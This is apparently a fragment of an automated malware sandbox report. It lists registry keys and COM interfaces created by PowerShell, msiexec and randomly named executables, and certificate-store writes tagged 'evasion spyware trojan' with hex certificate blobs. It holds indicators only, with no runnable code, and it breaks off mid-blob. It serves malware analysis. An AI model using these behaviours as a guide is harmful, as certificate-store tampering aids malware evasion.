Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\MsiExec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8D984A7E-B855-40B8-AB0C-44D3515B4528}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4376693C-CF37-453B-9289-3B0F521CAF27}\ = "IStateChangedEvent" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{5CA9E537-5A1D-43F1-6F27-6A0DB298A9A8}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{92F21DC0-44DE-1653-B717-2EBF0CA9B664}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{A443DA5B-AA82-4720-BC84-BD097B2B13B8}\ = "IGuestAdditionsStatusChangedEvent" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{A5BBDB7D-8CE7-469F-A4C2-6476F581FF72} C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{081FC833-C6FA-430E-6020-6A505D086387}\NumMethods C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0FE2DA40-5637-472A-9736-72019EABD7DE}\NumMethods\ = "13" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{392F1DE4-80E1-4A8A-93A1-67C5F92A838A}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{97C78FCD-D4FC-485F-8613-5AF88BFCFCDC}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{CAC21692-7997-4595-A731-3A509DB604E5}\ProxyStubClsid32 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D7B98D2B-30E8-447E-99CB-E31BECAE6AE4}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{E8C25D4D-AC97-4C16-B3E2-81BD8A57CC27}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E8C25D4D-AC97-4C16-B3E2-81BD8A57CC27}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{0075FD6C-00C2-4484-0077-C057003D9C90} C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{67C50AFE-3E78-11E9-B25E-7768F80C0E07}\NumMethods C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D5ABC823-04D0-4DB6-8D66-DC2F033120E1}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{C48F3401-4A9E-43F4-B7A7-54BD285E22F4}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{00AE6AF4-00A7-4104-0009-49BC00B2DA80}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{E9A0C183-7071-4894-93D6-DCBEC010FA91}\NumMethods C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{00391758-00B1-4E9D-0000-11FA00F9D583}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6620DB85-44E0-CA69-E9E0-D4907CECCBE5}\ = "IGuestFsObjInfo" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{232E9151-AE84-4B8E-B0F3-5C20C35CAAC9} C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6DDEF35E-4737-457B-99FC-BC52C851A44F}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{813C99FC-9849-4F47-813E-24A75DC85615}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{872DA645-4A9B-1727-BEE2-5585105B9EED}\NumMethods C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{D37FE88F-0979-486C-BAA1-3ABB144DC82D}\ProxyStubClsid32 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{101AE042-1A29-4A19-92CF-02285773F3B5}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6BB335CC-1C58-440C-BB7B-3A1397284C7B}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{88394258-7006-40D4-B339-472EE3801844}\NumMethods C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D27C0B3D-6038-422C-B45E-6D4A0503D9F1}\ = "ISnapshotTakenEvent" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2405F0E5-6588-40A3-9B0A-68C05BA52C4B}\ = "IGuestProcessEvent" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4132147B-42F8-CD96-7570-6A8800E3342C}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4F4ADCF6-3E87-11E9-8AF2-576E84223953}\NumMethods\ = "36" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{4FDEBBF0-BE30-49C0-B315-E9749E1BDED1}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{5748F794-48DF-438D-85EB-98FFD70D18C9}\ = "IMachineStateChangedEvent" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{70401EEF-C8E9-466B-9660-45CB3E9979E4}\NumMethods\ = "26" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32\ThreadingModel = "Free" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{46735DE7-F4C4-4020-A185-0D2881BCFA8B}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{92ED7B1A-0D96-40ED-AE46-A564D484325E}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{0075FD6C-00C2-4484-0077-C057003D9C90}\NumMethods C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{22363CFC-07DA-41EC-AC4A-3DD99DB35594}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{678FBD9A-93AF-42A7-7F13-79AD6EF1A18D}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{C984D15F-E191-400B-840E-970F3DAD7296}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D5ABC823-04D0-4DB6-8D66-DC2F033120E1}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0CA2ADBA-8F30-401B-A8CD-FE31DBE839C0}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{101AE042-1A29-4A19-92CF-02285773F3B5} C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{D947ADF5-4022-DC80-5535-6FB116815604}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E9A0C183-7071-4894-93D6-DCBEC010FA91}\ = "INetworkAdapter" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C48F3401-4A9E-43F4-B7A7-54BD285E22F4}\NumMethods\ = "15" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E062A915-3CF5-4C0A-BC90-9B8D4CC94D89}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{11BE93C7-A862-4DC9-8C89-BF4BA74A886A}\TypeLib C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{35CF4B3F-4453-4F3E-C9B8-5686939C80B6} C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE8A0EB5-F4F4-4DD0-9D30-C89B873247EC}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{CC830458-4974-A19C-4DC6-CC98C2269626}\TypeLib C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{DAAF9016-1F04-4191-AA2F-1FAC9646AE4C}\NumMethods C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0CA2ADBA-8F30-401B-A8CD-FE31DBE839C0}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{435B66A2-0C60-11EA-A0EA-07EB0D1C4EAD}\TypeLib C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4FDEBBF0-BE30-49C0-B315-E9749E1BDED1}\ = "INATNetwork" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4FDEBBF0-BE30-49C0-B315-E9749E1BDED1}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{22363CFC-07DA-41EC-AC4A-3DD99DB35594}\NumMethods C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B0A0904D-2F05-4D28-855F-488F96BAD2B2}\TypeLib\Version = "1.3" C:\Windows\system32\msiexec.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 0f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e19962000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e404000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5b